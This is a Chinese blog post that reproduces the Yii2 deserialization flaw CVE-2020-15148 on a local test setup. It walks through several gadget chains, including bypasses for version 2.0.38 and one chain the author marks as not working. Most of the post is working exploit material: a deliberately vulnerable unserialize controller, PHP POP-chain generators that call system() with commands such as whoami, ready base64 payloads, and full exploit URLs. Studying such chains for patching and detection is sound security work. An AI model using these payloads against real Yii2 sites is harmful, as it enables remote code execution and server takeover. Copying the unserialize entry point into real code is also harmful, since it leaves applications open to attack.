Yii2 反序列化漏洞复现

最新推荐文章于 2022-10-25 22:20:09 发布
最新推荐文章于 2022-10-25 22:20:09 发布
阅读量1k 收藏 2
点赞数 1
分类专栏： # 漏洞复现 文章标签： 安全漏洞 yii
https://blog.csdn.net/qq_44657899
本文链接：https://blog.csdn.net/qq_44657899/article/details/120309979
版权

文章目录

环境搭建

下载yii2.0.37版本，https://github.com/yiisoft/yii2/releases/tag/2.0.37，
放在phpstudy的www目录下。

这是一个反序列化利用链，所以还需要一个反序列化的入口点，在controllers目录下创建一个TestController.php

<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
 
class TestController extends \yii\web\Controller
{
	public function actionSss($data){
		return unserialize(base64_decode($data));
	}
}
 
?>

然后修改/config/web.php文件中的cookieValidationKey的值，随便修改
在这里插入图片描述
然后运行命令开启服务

php yii serve

在这里插入图片描述
看到如下页面及安装成功

漏洞复现(CVE-2020-15148)

使用poc.php生成poc

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
# payload：TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

在这里插入图片描述
使用payload

http://127.0.0.1/basic/web/index.php?r=test/sss&data=[payload]

在这里插入图片描述

漏洞分析

参考：https://blog.csdn.net/rfrder/article/details/113824239

起始点为vendor\yiisoft\yii2\db\BatchQueryResult.php中的destruct方法
在这里插入图片描述
我们跟进reset()函数
在这里插入图片描述
这里的_dataReader可控，然后又调用了他的close()方法，这里我们可以找找有没有可利用的__call函数，全局搜索call，在\vendor\fzaninotto\faker\src\Faker\Generator.php中找到了合适的，

因为close是无参方法，所以__call中的$method是close,attributes为空。
在这里插入图片描述
继续跟踪format函数
在这里插入图片描述在这里插入图片描述
这里的formatters也是可控的，也就是说执行什么函数确定了，但是由于调用__call时没有参数所以这里只能执行phpinfo()等，还需要找到合适的无参数函数才能RCE
在这里插入图片描述

我们继续全局搜索找无参数可以命令执行的函数

function\s(\w)+?\(\)+(.|\s)+?call_user_func

找到了这个玩意，里面参数都是可控的，可以直接利用
在这里插入图片描述
最后反序列化链如下

BatchQueryResult->__destruct()->reset()->close()
↓↓↓
Generator->__call()->format()->getFormatter()
↓↓↓
IndexAction->run()

payload

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "dir";
        }
        // public function run()
        // {
        //     if ($this->checkAccess) {
        //         call_user_func($this->checkAccess, $this->id);
        //     }

        //     return $this->prepareDataProvider();
        // }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            //这里调用上一个类的方法的姿势需要学习一波
            $this->formatters['close'] = [new IndexAction(), "run"];
        }
        // public function __call($method, $attributes)
        // {
        //     return $this->format($method, $attributes);
        // }
        // public function format($formatter, $arguments = array())
        // {
        //     return call_user_func_array($this->getFormatter($formatter), $arguments);
        // }
        // public function getFormatter($formatter)
        // {
        //     if (isset($this->formatters[$formatter])) {
        //         return $this->formatters[$formatter];
        //     }
        //     foreach ($this->providers as $provider) {
        //         if (method_exists($provider, $formatter)) {
        //             $this->formatters[$formatter] = array($provider, $formatter);

        //             return $this->formatters[$formatter];
        //         }
        //     }
        //     throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        // }
    }
}

namespace yii\db
{
    use Faker\Generator;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator;
        }
        // public function __destruct()
        // {
        //     // make sure cursor is closed
        //     $this->reset();
        // }
        // public function reset()
        // {
        //     if ($this->_dataReader !== null) {
        //         $this->_dataReader->close();
        //     }
        //     $this->_dataReader = null;
        //     $this->_batch = null;
        //     $this->_value = null;
        //     $this->_key = null;
        // }
    }
}

namespace
{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

成功：
在这里插入图片描述

其他反序列化链1(2.0.38可用)

我们查看2.0.38的commit记录，https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99，修复方法为阻止yii\db\BatchQueryResult这个类反序列化
在这里插入图片描述
我们来看看是如何防止反序列化的，当这个类反序列化时会调用__wakeup()函数，同时使用throw调用BadMethodCallException来抛出一个异常

// 反序列化时调用__wakeup
public function __wakeup()
{
	// 通过throw调用BadMethodCallException抛出异常，以此结束反序列化
	throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
  • BadMethodCallException是PHP标准库里的异常处理类，是PHP自带的
  • __CLASS__是php里的魔术常量，返回该类被定义时的名字，可以参考PHP 魔术常量在这里插入图片描述

这里反序列化链的起始点不能用了，但是后面的链都能用，所以我们再找个__destruct这样的起始点是最快的，使用__destruct\(\)\s+\{([a-zA-Z0-9\s\S]+?)\$this->查找，发现RunProcess类的__destruct可以利用：
在这里插入图片描述

这里的$process是可控的，我我们可以用它来调用__call方法，poc如下

注：习惯把调用的函数保留，这样利用链看的清楚一些。

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "dir";
        }
        // public function run()
        // {
        //     if ($this->checkAccess) {
        //         call_user_func($this->checkAccess, $this->id);
        //     }

        //     return $this->prepareDataProvider();
        // }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning，这里忘记换了，搞了半天
            $this->formatters['isRunning'] = [new IndexAction(), "run"];
        }
        // public function __call($method, $attributes)
        // {
        //     return $this->format($method, $attributes);
        // }
        // public function format($formatter, $arguments = array())
        // {
        //     return call_user_func_array($this->getFormatter($formatter), $arguments);
        // }
        // public function getFormatter($formatter)
        // {
        //     if (isset($this->formatters[$formatter])) {
        //         return $this->formatters[$formatter];
        //     }
        //     foreach ($this->providers as $provider) {
        //         if (method_exists($provider, $formatter)) {
        //             $this->formatters[$formatter] = array($provider, $formatter);

        //             return $this->formatters[$formatter];
        //         }
        //     }
        //     throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        // }
    }
}

namespace Codeception\Extension
{
    use Faker\Generator;
    class RunProcess
    {
        private $processes = [];
        public function __construct()
        {
            $this->processes[] = new Generator();
        }
        // public function __destruct()
        // {
        //     $this->stopProcess();
        // }

        // public function stopProcess()
        // {
        //     foreach (array_reverse($this->processes) as $process) {
        //         /** @var $process Process  **/
        //         if (!$process->isRunning()) {
        //             continue;
        //         }
        //         $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        //         $process->stop();
        //     }
        //     $this->processes = [];
        // }
    }
}

namespace
{
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

payload

http://127.0.0.1/basic/web/index.php?r=test/sss&data=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czozOiJkaXIiO31pOjE7czozOiJydW4iO319fX19

其他反序列化链2(2.0.38可用)

DiskKeyCache.php的Swift_KeyCache_DiskKeyCache类同样可以利用
在这里插入图片描述
继续跟踪clearAll()函数
在这里插入图片描述
虽然没有找到可以触发__call的地方，但是存在字符串的拼接，可以找有没有可利用的__toString()，使用__toString()[\s\S]+?\$this->[\s\S]+?->[\s\S]+?\(\)全局搜索，可以找到很多，先试试其他师傅说的see.php中的
在这里插入图片描述
最后反序列化链如下

Swift_KeyCache_DiskKeyCache->clearAll()
↓↓↓
See->__toString()
↓↓↓
Generator->__call()->format()->getFormatter()
↓↓↓
IndexAction->run()

poc

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "whoami";
        }
        // public function run()
        // {
        //     if ($this->checkAccess) {
        //         call_user_func($this->checkAccess, $this->id);
        //     }

        //     return $this->prepareDataProvider();
        // }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning，这里忘记换了，搞了半天
            $this->formatters['render'] = [new IndexAction(), "run"];
        }
        // public function __call($method, $attributes)
        // {
        //     return $this->format($method, $attributes);
        // }
        // public function format($formatter, $arguments = array())
        // {
        //     return call_user_func_array($this->getFormatter($formatter), $arguments);
        // }
        // public function getFormatter($formatter)
        // {
        //     if (isset($this->formatters[$formatter])) {
        //         return $this->formatters[$formatter];
        //     }
        //     foreach ($this->providers as $provider) {
        //         if (method_exists($provider, $formatter)) {
        //             $this->formatters[$formatter] = array($provider, $formatter);

        //             return $this->formatters[$formatter];
        //         }
        //     }
        //     throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        // }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    final class See
    {
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
        // public function __toString() : string
        // {
        //     return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
        // }
    }
}

namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
        private $path;
        private $keys = [];
        public function __construct()
        {
            $this->path = new See();
            $this->keys = ["hello"]; 
        }
        // public function __destruct()
        // {
        //     foreach ($this->keys as $nsKey => $null) {
        //         $this->clearAll($nsKey);
        //     }
        // }
        // public function clearAll($nsKey)
        // {
        //     if (array_key_exists($nsKey, $this->keys)) {
        //         foreach ($this->keys[$nsKey] as $itemKey => $null) {
        //             $this->clearKey($nsKey, $itemKey);
        //         }
        //         if (is_dir($this->path.'/'.$nsKey)) {
        //             rmdir($this->path.'/'.$nsKey);
        //         }
        //         unset($this->keys[$nsKey]);
        //     }
        // }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
# TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086NDI6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXFNlZSI6MTp7czoxNDoiACoAZGVzY3JpcHRpb24iO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjY6InJlbmRlciI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czo2OiJ3aG9hbWkiO31pOjE7czozOiJydW4iO319fX1zOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7aTowO3M6NToiaGVsbG8iO319

payload

http://127.0.0.1/basic/web/index.php?r=test/sss&data=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086NDI6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXFNlZSI6MTp7czoxNDoiACoAZGVzY3JpcHRpb24iO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjY6InJlbmRlciI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czo2OiJ3aG9hbWkiO31pOjE7czozOiJydW4iO319fX1zOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7aTowO3M6NToiaGVsbG8iO319

自己找个__toString()

这里自己找了下发现Nullable.php中的__toString()也可以
在这里插入图片描述poc:

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "whoami";
        }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning，这里忘记换了，搞了半天
            $this->formatters['__toString'] = [new IndexAction(), "run"];
        }
    }
}

namespace phpDocumentor\Reflection\Types{
    use Faker\Generator;
    final class Nullable
    {
        private $realType;
        public function __construct()
        {
            $this->realType = new Generator();
        }
    }
}

namespace{
    use phpDocumentor\Reflection\Types\Nullable;
    class Swift_KeyCache_DiskKeyCache
    {
        private $path;
        private $keys = [];
        public function __construct()
        {
            $this->path = new Nullable();
            $this->keys = ["hello"]; 
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
# TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086Mzk6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZSI6MTp7czo0OToiAHBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZQByZWFsVHlwZSI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6MTA6Il9fdG9TdHJpbmciO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBrZXlzIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fQ==

然后下面这些也可以
在这里插入图片描述

其他反序列化链3(2.0.37可用)

这条链不适用于2.0.38，是2.0.37的另外一条链

BatchQueryResult->__destruct()->reset()->close()

第一条链到close()函数时是找__call()函数，这条链直接找可利用的close()
这个没复现成功，poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}
# TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX0=
天问_Herbert555
关注
专栏目录
【漏洞复现】通达OA v11.7 moare 反序列化漏洞
alert['Hello World']
09-04 474
通达OA v11.7 moare 存在 php反序列化漏洞，导致远程命令执行，控制服务器
从某达OA到Yii2框架的cookie反序列化漏洞研究
最新发布
hackzkaq的博客
10-08 1361
这里存在一个反序列化入口，就是下图else分支的内容，我们上一方法得到的反序列化数据会进入我们的反序列化入口（注意，allowed_classes 被设置为 false，则在反序列化过程中不会创建对象，只会还原基本数据类型，例如字符串、整数、数组等）。这一条路径会使用上面介绍Yii2的cookie处理方法，所以就存在Yii2的那个反序列化入口，在获取到某达oa的config/web.php中的cookieValidationKey值后，我们就可以构造我们的payload进行攻击。
Yii2 反序列化漏洞(CVE-2020-15148)复现
玄道的网安博客
12-16 9453
漏洞概述 Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize 时，攻击者可通过构造特定的恶意请求执行任意命令。 环境搭建 到github上下载yii2的2.0.37版本 https://github.com/yiisoft/yii2/releases/tag/2.0.37 然后修改/config/web.php文件17行cookieValidationKey,可以随便定义 ...
Yii2反序列化漏洞复现
SimoSimoSimo的博客
07-12 1579
Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。Yii2 2.0.38 以前的版本中存在反序列化漏洞，CVE编号是CVE-2020-15148到github上下载yii2的2.0.37版本打开 /config/web.php给17行的cookieValidationKey添加一个值，随便什么都行不添加就
yii反序列化漏洞复现及利用
cosmoslin的博客
10-05 4982
yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。 Yii 当前有两个主要版本：1.1 和 2.0。 1.1 版是上代的老版本，现在处于维护状态。 2.0 版是一个完全重写的版本，采用了最新的技术和协议
yii2框架 反序列化漏洞复现
feng的博客
02-16 3802
前言 最近学习PHP反序列化的时候遇到了yii2反序列化的利用，就顺便搭了一下环境，跟着网上各种大师傅们的文章进行了一波复现和学习，提高自己代码审计的能力。 漏洞出现在yii2.0.38之前的版本中，在2.0.38进行了修复，CVE编号是CVE-2020-15148： Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize()
yii2反序列化代码审计cve漏洞复现
giaogiao123的博客
08-18 524
一环境 环境准备环境搭建 yii版本2.0.37和2.0.38 php版本 7.1 下载完打包，直接在 php yii serve 访问localhost:8080 二.分析漏洞 漏洞出发点 在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中， 跟进reset 我们这里的_dataReader可控，然后$this->_dataREader->close()，触发__call方法（访问不存在的方法时触发)。 在\yii\vendor\f
Yii2框架 反序列化漏洞复现(CVE-2020-15148)
snowlyzz的博客
10-25 1792
yii2框架 反序列化漏洞复现
struts2反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017
08-28
struts2.0反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017等漏洞解决方案，已升级可用
yii2 反序列化写shell方式利用1
08-03
yii2 反序列化写 shell 式利 - 原创章发潜习安全遇到个 yii 的源码刚好有漏洞，搜了圈的 rce 都是调 call_user_func 直接sys
yii php framework 漏洞,yii框架异常处理导致的xss.md
weixin_39990410的博客
04-13 1099
最近XSS扫描器发现了一些奇怪的漏洞，对一些特征归类,查询，发现是属于yii 1.x框架。Yii是一个免费的，开源的，基于PHP的Web应用程序开发框架虽然YII 已经发布了2.x,但1.x的使用量还是很大的复现下载yii 1.xgit clone https://github.com/yiisoft/yii运行自带的blog demo当请求头带有X-Requested-With: XMLHttp...
Yii文件包含漏洞分析
springgold的博客
05-20 1926
yii文件包含漏洞 触发点 public function actionIndex() { // $this->render('index'); $name =Yii::app()->request->getParam( 'name' ); $this->render('index', $name); } render 函数 public function render($view, $para
15-PHP代码审计——yii 2.0.37反序列化漏洞
网络安全
06-06 1231
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞，如果程序内部调用了unserialize() 反序列化时，那么程序就可能存在反序列化漏洞，攻击者可通过构造特定的恶意请求执行任意命令。 影响版本： yii2 v2.0.37版本以下 环境： yii-basic-app-2.0.37.tgz php7.0以上 poc： http://www.yii2.com/web/index.php?r=test/sss&.
yii2反序列化漏洞总结
unexpectedthing的博客
03-29 4775
文章目录yii2框架 反序列化漏洞复现yii 框架搭建过程CVE-2020-15148复现链子2链子3链子4链子5链子6参考链接 yii2框架 反序列化漏洞复现 yii 框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。 Yii
CVE-2020-15148 Yii反序列化漏洞复现
绮洛Ki1ro的博客
08-05 871
CVE-2020-15148 Yii反序列化漏洞复现
yii漏洞-2.0.41链子复现
giaogiao123的博客
08-25 480
一环境配置 1.环境 yii-2.0.41版本 2. vscode+xdebug手动调试 3. php环境7.1 下载源码修改/config/web.php文件17行cookieValidationKey，随便设一个数目，然后，解压，到那个目录下php yii serve 启动（需要配置php环境变量） 访问 http//:localhost:8080 自己写一个反序列化入口 在controllers目录下创建一个TestController: <?php namespace app\contr
[代码审计]yii2 反序列化漏洞分析
Huamang的博客
11-16 3517
前言
Yii2 反序列化漏洞利用写 shell 方式
然而，在 Yii2 中存在一个反序列化漏洞，可以被攻击者利用来执行恶意代码。在这个漏洞中，攻击者可以通过构造恶意的序列化数据，来执行系统命令，从而获取服务器的控制权。 Yii2 的反序列化漏洞是由于其对对象的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值